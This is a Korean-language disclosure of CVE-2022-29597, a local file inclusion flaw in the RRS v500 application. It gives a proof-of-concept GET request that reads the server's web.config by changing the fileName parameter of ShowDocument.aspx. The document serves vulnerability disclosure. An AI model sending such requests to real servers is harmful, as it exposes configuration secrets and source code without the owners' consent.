CVE-2022-29597: RSS v500의 로컬 파일 포함 취약점

Solutions Atlantic의 RRS v500 애플리케이션은 로컬 파일 포함(LFI) 취약점에 영향을 받습니다. 인증된 사용자는 /RRSWeb/maint/ShowDocument/ShowDocument.aspx 페이지에 전송되는 요청 내에서 내부 시스템 파일을 참조할 수 있습니다. 서버는 요청된 내부 시스템 파일의 내용을 성공적으로 응답으로 반환합니다. 이 기능을 통해 공격자는 기본 파일 시스템에서 민감한 데이터 및/또는 파일을 추출하고, 시스템 내부 동작에 대한 정보를 얻거나, 애플리케이션의 소스 코드에 접근할 수 있습니다.

Mitre URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29597

NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2022-29597

개념 증명(POC):

문서 표시 기능:

영향을 받는 URL:

/RRSWeb/maint/ShowDocument/ShowDocument.aspx

RRS 사이트에서 PDF를 열거나 다운로드하면 fileName 매개변수가 포함된 요청이 영향을 받는 URL로 전송됩니다. 이 매개변수는 web.config와 같은 내부 시스템 경로를 포함하도록 수정될 수 있습니다. 그러면 서버는 요청된 파일을 제공합니다.

web.config로의 내부 경로가 포함된 GET 요청:

GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?fileName=C:\\Program%20Files\\Solutions%20Atlantic\\RRS\\RRSWeb\\web.config HTTP/1.1
Host: <REDACTED>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://<REDACTED>/RRSweb/default.aspx
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _ga=<REDACTED>; ASP.NET_SessionId=<REDACTED>
Connection: Keep-Alive

서버 응답:

RRS_LFI_web.config

발견 일시

2022년 4월

Eric Getchell - TheGetch

CVE-2022-29597

인기

CVE-2022-29597: RSS v500의 로컬 파일 포함 취약점

개념 증명(POC):

문서 표시 기능:

발견 일시